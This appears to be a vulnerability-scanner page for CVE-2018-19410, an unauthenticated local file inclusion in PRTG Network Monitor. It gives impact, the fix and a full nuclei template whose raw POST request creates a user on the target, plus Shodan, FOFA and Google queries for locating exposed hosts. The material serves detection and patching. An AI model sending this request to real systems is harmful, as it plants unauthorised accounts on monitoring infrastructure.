PRTG Network Monitor - Local File Inclusion

Exploited in the wild. Listed by CISA on 2025-02-04; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).

Impact

Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.

Fix

Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.

How to confirm it

Send: POST /public/login.htm?file=/api/addusers.htm
Positive when: contains "Added 1 users" and "prtg" AND status 200

Run it with nuclei: nuclei -id CVE-2018-19410 -u <target>

The full check

id: CVE-2018-19410

info:
  name: PRTG Network Monitor - Local File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
  impact: |
    Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.
  remediation: |
    Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.
  reference:
    - https://global.ptsecurity.com/analytics/threatscape/pt-2018-24
    - https://github.com/himash/CVE-2018-19410-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19410
    epss-score: 0.97939
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: paessler
    product: prtg_network_monitor
    shodan-query:
      - http.favicon.hash:"-655683626"
      - http.title:"prtg"
    fofa-query:
      - icon_hash=-655683626
      - title="prtg"
    google-query: intitle:"prtg"
  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln

variables:
  username: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        id=200&users={{username}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Added 1 users'
          - 'prtg'
        part: body
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from